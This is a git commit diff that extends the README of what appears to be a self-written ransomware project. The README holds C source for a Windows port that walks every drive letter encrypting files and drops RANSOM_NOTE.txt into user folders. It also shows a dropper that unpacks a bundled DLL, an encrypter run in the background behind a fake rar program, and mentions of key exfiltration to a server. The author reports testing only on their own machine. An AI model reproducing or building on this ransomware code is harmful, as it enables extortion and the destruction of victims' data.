Update 'README.md'

This commit is contained in:
MyEyesAreBleeding 2021-08-29 03:11:25 +02:00
parent 282c5bacdc
commit d243cc1066
1 changed files with 92 additions and 3 deletions

View File

@ -409,7 +409,7 @@ if (!RAND_bytes(salt, sizeof(salt))) {
```
## Decrypter
The decrypter is largely the same as the encrypter program, except that it will read the random key from a file after it has been decoded from base64, and will only operate on files that do have the '.ransomed' extension. It then reads the salt and derives the encryption key and IV needed using this and the 'random key' retrieved. It then reads the mac and authenticates the cipher-text before attempting any decryption, which further helps to prevent oracle attacks. If the wrong 'random key' is provided, the correct authentication key will not be derived, so this serves as key verification as well as ensuring authenticity and preventing chosen-ciphertext attacks. CRYPTO_memcmp() is used to prevent timing attacks on the mac verification.
The decrypter is largely the same as the encrypter program but will only operate on files that do have the '.ransomed' extension. It then reads the salt and derives the encryption key and IV needed using this and the 'random key' retrieved. It then reads the mac and authenticates the cipher-text before attempting any decryption, which further helps to prevent oracle attacks. If the wrong 'random key' is provided, the correct authentication key will not be derived, so this serves as key verification as well as ensuring authenticity and preventing chosen-ciphertext attacks. CRYPTO_memcmp() is used to prevent timing attacks on the mac verification.
```C
/* Seek to end of file and read salt and mac footer */
@ -509,7 +509,94 @@ id: L794T+danjZrzb0gJL+gZkZjE86ytuZyjWGu99fnct4= key: o5amy4ImwEds6f88klDp3wZ2JZ
One important aspect of this application is that it must wipe the key from memory after it is finished. This is trickier than it seems, because most compilers have an issue with dead-store elimination. If the compiler sees that a buffer is filled with zeroes, it often optimizes this step out, which will result in the program leaving sensitive memory behind. The OPENSSL_cleanse() function is basically just a memset function that is defined as 'volatile' so that the compiler does not optimize it away. This is not fool-proof, and some security researchers have shown that even this can be optimized out. With that consideration, the encrypter binary is compiled without optimizaiton.
## Windows
The Windows versions are largely the same but since fork() is not supported CreateProcess() had to be used instead, as well as polling to monitory that process's exit status. The Windows versions also target all possibly drive letters, and have an ability to search for specific extensions instead of targeting all files that may or may not have file extensions. I did not bother to port the server code since it is just very unlikely to run such a code on a Windows envrionment. Most of the Linux socket programming code is interchangable with Winsock funcitons. Overall the most perplexing part about porting it is down to some mysterious file permission issues, but I have created issues that worked on Windows 7 and Windows 10 despite that.
The Windows versions operate a little bit differently since Windows uses drive letters instead of a root directory. So it will run ftw() on all of the possible drive letters as so:
```C
/* Make array of drive letters to cycle through */
char alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
char drive_letter[5];
/* Loop through drive letters and run ftw on all of them */
for (int i = 0; i < strlen(alphabet); i++) {
memset(drive_letter, '\0', sizeof(drive_letter));
drive_letter[0] = alphabet[i];
strcat(drive_letter, ":\\");
ftw(drive_letter, traverse_dir, 1);
}
```
It also writes the ransom note to several different directories defined by CSIDL values to ensure it is left behind. The dropper will use a similar loop and array to make sure one of the note files is found to be printed when the encrypter finishes. This is done with an array of the CSIDL values like so:
```C
/* Array of CSIDL integers */
int csidl_array[] = {CSIDL_PERSONAL,
CSIDL_MYDOCUMENTS,
CSIDL_MYMUSIC,
CSIDL_MYPICTURES,
CSIDL_MYVIDEO,
CSIDL_COMMON_DESKTOPDIRECTORY,
CSIDL_COMMON_DOCUMENTS,
CSIDL_COMMON_MUSIC,
CSIDL_COMMON_PICTURES,
CSIDL_COMMON_VIDEO};
/* Loop through CSIDL values to get paths for each to write note to */
for (int i = 0; i < sizeof(csidl_array) / sizeof(int); i++) {
TCHAR path[MAX_PATH];
HRESULT hr =
SHGetFolderPath(NULL, csidl_array[i], NULL, SHGFP_TYPE_CURRENT, path);
strcat(path, "\\RANSOM_NOTE.txt");
```
I also decided that since OpenSSL might not be installed that I should include the libcrypto dll file. I did this by appending it to the dropper executable after compiling it. Then when it is ran, the dropper program will read the dll out of the executable itself and write it to disk in the current directory so that the encrypter executable can run without error.
```C
/* Read libcrypto off end of executable and write to current dir */
FILE *executable_file = fopen(argv[0],"rb");
if(executable_file != NULL) {
FILE *libcrypto_file = fopen("libcrypto-1_1.dll","wb");
if(libcrypto_file != NULL) {
fseek(executable_file,2086400*(-1),SEEK_END);
for(int i = 0; i < 2086400; i++) {
fputc(fgetc(executable_file),libcrypto_file);
}
fclose(libcrypto_file);
}
fclose(executable_file);
}
```
It will also search for files depending on extension, using a string of acceptable file extensions to use strstr() against.
```C
#define EXTENSIONS ".png.jpg.gif.txt.null"
```
```C
/* Pull extension off end of file path and store in file_extension */
char file_extension[PATH_MAX];
for (int i = strlen(fpath);; i--) {
if (fpath[i] == '.') {
strcpy(file_extension, fpath + i);
break;
} else if (fpath[i] == '/') {
strcpy(file_extension, ".null");
break;
}
}
/* See if extension is in EXTENSIONS */
if (strstr(EXTENSIONS, file_extension) != NULL &&
strstr(fpath, "RANSOM_NOTE.txt") == NULL) {
file_crypt(fpath);
}
}
```
It was also a little different to figure out how to run the encrypter program in the background but turned out a little simpler than using fork(). Instead I just launch the encrypter with CreateProcess(), without its own window. Then I use GetExitCodeProcess() to poll if the process is sitll running, and break out of the statistics-printing loop and print the ransom note. Like the Linux version, if a user closes the fake rar program before all the files have been encrypted, then the encrypter will still operate in the background.
# Rationale
## Writing ransom note before all files have been encrypted
@ -534,4 +621,6 @@ The choice of which directory to be recursively traveled and encrypted defaulted
```
# Testing
Testing was not extremely thorough. The server was launched on the same machine that encryption was to take place on, and the encrypter sent the key and ID to 'localhost'. I checksummed all the files in this machine's home directory before encryption, retrieved the key from the manifest, decoded it, and used it to decrypt the files and then checksummed them again. That is the extent of testing that was conducted. However, this machine only has a few hundred files, and none of very significant size, so this probably did not give a very good representation of how it would beave on a more realistic target system.
Testing was not extremely thorough. The server was launched on the same machine that encryption was to take place on, and the encrypter sent the key and ID to 'localhost'. I checksummed all the files in this machine's home directory before encryption, retrieved the key from the manifest and used it to decrypt the files and then checksummed them again. That is the extent of testing that was conducted. However, this machine only has a few hundred files, and none of very significant size, so this probably did not give a very good representation of how it would behave on a more realistic target system.
Testing was similar on Windows. I used MinGW to cross-compile from Linux and it seems to mostly work, but there are some strange bugs. Sometimes after the ransomed file is decrypted, the program cannot delete the old '.ransomed' file. However it still manages to decrypt all of them and provide the original file.